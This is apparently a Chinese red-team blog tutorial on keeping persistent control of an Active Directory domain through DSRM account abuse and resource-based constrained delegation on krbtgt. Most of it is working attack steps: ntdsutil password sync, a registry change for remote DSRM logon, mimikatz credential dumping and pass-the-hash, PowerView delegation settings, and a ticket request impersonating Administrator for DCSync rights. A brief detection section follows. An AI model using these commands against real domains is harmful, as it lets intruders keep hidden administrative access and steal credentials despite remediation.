域渗透-域内权限维持(上)

admin 2022年6月30日01:25:32SecIN安全技术社区域渗透-域内权限维持(上)已关闭评论4 views2667字阅读8分53秒阅读模式

1.前言:

域内权限维持的方法总结如下:

  1. DSRM
  2. 利用基于资源的约束委派进行域权限维持
  3. Delegation Golden Ticket
  4. 利用域用户登陆脚本
  5. 万能密码(Skeleton-Key)
  6. 黄金票据
  7. AdminSDHolder
  8. SID History后门

2.技术展开

2.1 DSRM

原理:

****在每个域控机器下都有一个DSRM帐户,为DC的本地管理员账户,这个帐户的作用就是用来设定登陆服务还原模式 AD 节点的系统管理员密码,意思就是可以从新设置DC管理员的密码,在红队作战中,如果我们拿到了DSRM帐户的密码,就算哪天域管权限丢失,我们也可以把域内任意用户的密码同步到 DSRM 账户上[这里包括了 dc 本地的 admainistrator 用户],而后再利用 DSRM 账户 ipc 连到 dc 上把域管权限拿回来。

域渗透-域内权限维持(上)

小细节:

Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步
Windows Server 2003不支持DSRM密码同步

利用方式:

攻击者将DSRM账户的hashkrbtgt同步,就算此时应急改变DC的administrator的密码,也可以继续利用pth哈希传递攻击。

需要的条件:

  1. 此攻击需要使用DC的ntdsutil来修改DSRM账户的密码。
    1.1 直接修改DSRM 帐户的密码
    1.2 域帐户同步的方式来修改
  2. 需要修改DSRM的登录方式。
    2.1 通过注册表修改

实际操作:

域帐户同步的方式来修改DSRM 帐户的密码

set dsrm password
sync from domain account 域用户

域渗透-域内权限维持(上)

直接修改DSRM 帐户的密码(这种需要之前的administrator帐户密码)

```
运行 ntdsutil

输入

reset password on server null
administrator帐户的密码
DSRM新密码
```

域渗透-域内权限维持(上)

获取本地SAM 数据库的密码:

token::elevate
lsadump::sam

发现hash已经与域用户admin hash 同步了

域渗透-域内权限维持(上)

修改DSRM登陆方式,允许DSRM帐户远程访问:

需设置注册表项,如果没有,则新建,计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa,设置值参考如下:

0:默认值,只有当域控重启并进入DSRM模式时,才可以使用DSRM管理员账号。
1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控。
2:在任何情况下,都可以使用DSRM管理员账号登录域控。

我们需设置为2

域渗透-域内权限维持(上)

然后mimikatz pth

sekurlsa::pth /domain:DC /User:administrator /ntml:hash
dir /a \\DC\C$

域渗透-域内权限维持(上)

防御与检测:

1.定期检查注册表中用于控制DSRM登录方式的键值hklm:\system\currentcontrolset\control\lsa\确认该键值为1,或者删除该键值。
2.定期修改域中所有域控的DSRM账号。
3.检查ID为4794的日志

2.2 利用基于资源的约束委派进行域权限维持

原理:

基于资源的约束委派(Resource-based constrained delegation)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。

利用原理:给DC或者krbtgt 设置我们控制的主机资源的基于资源的委派,那么就能控制DC,达到权限维持的目的。

利用方式:

主要有两种方法:

  1. 配置机器帐户到krbtgt帐户基于资源的约束委派
  2. 配置机器帐户到域控基于资源的约束委派

实际操作:

配置机器帐户到krbtgt帐户基于资源的约束委派,使用的工具模块为 Powerview:

值得注意的是,基于资源的委派,必须是委派双方需资源,例如机器帐户,服务帐户什么的,不能是域用户,下面尝试使用设置域用户帐户设置基于资源的委派,发现能设置,但是实际上是用不了

  1. 获取test1域用户的sid

```
Get-DomainUser -Identity test1 -Properties objectsid

S-1-5-21-2288091295-2811714918-3159536460-1107

```

  1. 设置test1到krbtgt 的基于资源的委派

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2288091295-2811714918-3159536460-1107)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

需要域管理员权限才能设置,不然就会拒绝访问

域渗透-域内权限维持(上)

3.查看是否设置成功

Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

域渗透-域内权限维持(上)

也可以通过ActiveDirectory模块添加:

只有Windows Server 2012以及以上的ActiveDirectory模块才有-PrincipalsAllowedToDelegateToAccount选项

Set-DomainObject Krbtgt -PrincipalsAllowedToDelegateToAccount test1
Get-DomainObject Krbtgt -Properties PrincipalsAllowedToDelegateToAccount

4.利用test1 域用户请求TGT:

getst.exe -dc-ip 192.168.140.1 -spn krbtgt -impersonate Administrator redteamspace.com/test1:[email protected]

域渗透-域内权限维持(上)

重新配置机器帐户到krbtgt帐户基于资源的约束委派,步骤相同,只需要把test1改成机器帐户,或者服务帐户

域渗透-域内权限维持(上)

这里就能成功请求到票据了

域渗透-域内权限维持(上)

这里就有DCSync的权限了,但如果要访问域空,那么krbtgt就得改成域控的机器帐户名了,或者其他服务。

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月30日01:25:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  域渗透-域内权限维持(上) http://cn-sec.com/archives/1148856.html